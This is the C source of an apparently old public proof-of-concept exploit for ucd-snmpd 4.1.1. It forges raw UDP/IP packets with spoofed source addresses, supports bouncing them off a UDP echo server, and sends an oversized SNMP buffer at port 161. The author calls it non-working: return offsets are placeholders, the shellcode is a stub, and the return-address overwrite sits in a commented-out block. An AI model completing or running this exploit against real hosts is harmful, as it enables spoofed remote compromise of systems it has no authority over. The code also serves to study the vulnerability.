/* snax.c - public release: Proof of concept exploit for ucd-snmpd-4.1.1. * * Demonstrates a snmpd exploit not dependant on snmpwalk or any of * the ucd snmp utilities. * * This allows for the packet to be easily spoofed. Included is also a * demonstration of how a packet may be bounced off of a UDP echo server. * * It's not a working exploit. RET_LOC and RET_ADDR are not correct * for any platform, and there is no shellcode. * * This code is intended as an example only. Do not use it maliciously. * Tested against Debian 2.2r5 (potato) snmpd_4.1.1-2.deb * * Author: rpc*/ #include #include #include #include #include #include #include #include #define BUFSIZE 256 #define RET_LOC 232 #define RET_ADDR 0x41414141 #define NOP 0x90 #define ASN1_SZ 11 #define ASN2_SZ 36 #define HDR_SZ sizeof(struct iphdr) + sizeof(struct udphdr) #define PACKET_SZ ASN1_SZ + ASN2_SZ + BUFSIZE int echo = 0; /* Sniffed ASN values */ char snmp_asn1[] = "\x30\x82\x01\x23\x02\x01\x00\x04\x82\x01\x00"; /* 11 */ char snmp_asn2[] = "\xa0\x82\x00\x20\x02\x04\x57\xc6\x36\xf6\x02\x01" "\x00\x02\x01\x00\x30\x82\x00\x10\x30\x82\x00\x0c" "\x06\x08\x2b\x06\x01\x02\x01\x01\x05\x00\x05\x00"; /* 36 */ /* the shellcode */ char code[] = "shellcode"; unsigned short in_cksum(addr, len) u_short *addr; int len; { register int nleft = len; register u_short *w = addr; register int sum = 0; u_short answer = 0; /* * Our algorithm is simple, using a 32 bit accumulator (sum), we add * sequential 16 bit words to it, and at the end, fold back all the * carry bits from the top 16 bits into the lower 16 bits. */ while (nleft > 1) { sum += *w++; nleft -= 2; } /* mop up an odd byte, if necessary */ if (nleft == 1) { *(u_char *)(&answer) = *(u_char *)w ; sum += answer; } /* add back carry outs from top 16 bits to low 16 bits */ sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */ sum += (sum >> 16); /* add carry */ answer = ~sum; /* truncate to 16 bits */ return(answer); } unsigned int resolve(char *host) { struct hostent *he; unsigned int ipaddr; if((he = gethostbyname(host)) == NULL) { /* ip addr, or invalid. */ if((ipaddr = inet_addr(host)) == -1) { printf("error resolving %s.\n", host); exit(1); } return ipaddr; } memcpy(&ipaddr, he->h_addr, he->h_length); return ipaddr; } char * make_packet(char *buf, unsigned int src, unsigned int dst) { struct iphdr *ip; struct udphdr *udp; char *p; p = (char *)malloc(HDR_SZ + PACKET_SZ); ip = (struct iphdr *)p; udp = (struct udphdr *)(p + sizeof(*ip)); ip->ihl = 5; ip->version = 4; ip->tos = 0; ip->tot_len = htons(HDR_SZ + PACKET_SZ); ip->id = rand(); ip->frag_off = htons(IP_DF); ip->ttl = 0x40; ip->protocol = IPPROTO_UDP; ip->saddr = src; ip->daddr = dst; ip->check = in_cksum((char *)ip, sizeof(*ip)); udp->source = echo ? htons(161) : rand(); udp->dest = echo? htons(7) : htons(161); udp->len = htons(PACKET_SZ); udp->check = 0; memcpy(p + HDR_SZ, snmp_asn1, ASN1_SZ); memcpy(p + HDR_SZ + ASN1_SZ, buf, BUFSIZE); memcpy(p + HDR_SZ + ASN1_SZ + BUFSIZE, snmp_asn2, ASN2_SZ); return p; } int main(int argc, char *argv[]) { struct sockaddr_in sin; char buf[BUFSIZE + 1]; u_int32_t addr; char *p; int sock; int ret; int src,dst; int arg; int one = 1; if(argc < 3) { printf("usage: %s [-e] -s source -d dest\n", argv[0]); printf("The -e flag turns on echo mode. This sends the packet to a udp echo server.\n"); printf("Source and destination IP addresses should be reversed for echo mode.\n"); exit(1); } src = dst = -1; while((arg = getopt(argc, argv, "es:d:")) != -1) { switch(arg) { case 'e': echo = 1; break; case 's': src = resolve(optarg); break; case 'd': dst = resolve(optarg); break; default: printf("Invalid argument.\n"); exit(1); } } if(src == -1 || dst == -1) { printf("Missing address.\n"); exit(1); } /* This is for a real exploit.. addr = RET_ADDR; memset(buf, NOP, BUFSIZE); memcpy(buf + RET_LOC, &addr, sizeof(addr)); memcpy(buf + RET_LOC - strlen(code), code, strlen(code)); */ memset(buf, 'A', BUFSIZE); /* test */ buf[BUFSIZE] = '\0'; p = make_packet(buf, src, dst); sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); if(sock == -1) { perror("socket"); exit(1); } if(setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &one, sizeof(one)) == -1) { perror("setsockopt"); exit(1); } sin.sin_family = AF_INET; sin.sin_port = htons(161); sin.sin_addr.s_addr = dst; ret = sendto(sock, p, HDR_SZ + PACKET_SZ, 0, &sin, sizeof(sin)); if(ret == -1) { perror("sendto"); exit(1); } return 0; }